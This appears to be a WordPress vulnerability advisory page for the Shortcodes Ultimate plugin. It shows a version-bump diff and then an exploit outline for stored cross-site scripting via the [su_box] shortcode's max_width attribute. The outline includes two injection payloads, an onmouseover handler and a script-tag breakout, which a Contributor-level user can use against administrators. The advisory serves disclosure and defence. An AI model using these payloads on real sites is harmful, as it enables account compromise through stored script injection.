+++ /home/deploy/wp-safety.org/data/plugin-versions/shortcodes-ultimate/7.5.0/shortcodes-ultimate.php	2026-03-23 19:21:32.000000000 +0000
@@ -8,7 +8,7 @@
  * Description: A comprehensive collection of visual components for WordPress
  * Text Domain: shortcodes-ultimate
  * License: GPLv3
- * Version: 7.4.9
+ * Version: 7.5.0
  * Requires PHP: 5.4
  * Requires at least: 5.0
  * Tested up to: 6.9
@@ -51,6 +51,7 @@
                             'localhost' => true,
                         ),
                         'is_live'           => true,
+                        'is_org_compliant'  => true,
                     ) );
                 }
                 return $su_fs;
@@ -63,6 +64,6 @@
         }
     }
     define( 'SU_PLUGIN_FILE', __FILE__ );
-    define( 'SU_PLUGIN_VERSION', '7.4.9' );
+    define( 'SU_PLUGIN_VERSION', '7.5.0' );
     require_once dirname( __FILE__ ) . '/plugin.php';
 }
\ No newline at end of file

Exploit Outline

1. Authenticate as a Contributor or any role with the ability to create or edit posts. 2. Create a new post and insert the [su_box] shortcode. 3. Supply a payload to the 'max_width' attribute that closes the style attribute and adds an event handler, for example: [su_box max_width='600px;" onmouseover="alert(document.domain)"']Hover here[/su_box]. 4. Alternatively, use a payload that closes the style attribute and the opening div tag to inject a script tag: [su_box max_width='600px;"></style><script>alert(1)</script><style>"']. 5. Save or publish the post. 6. View the post as a different user (e.g., an Administrator). The JavaScript executes when the event is triggered (e.g., on mouseover).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.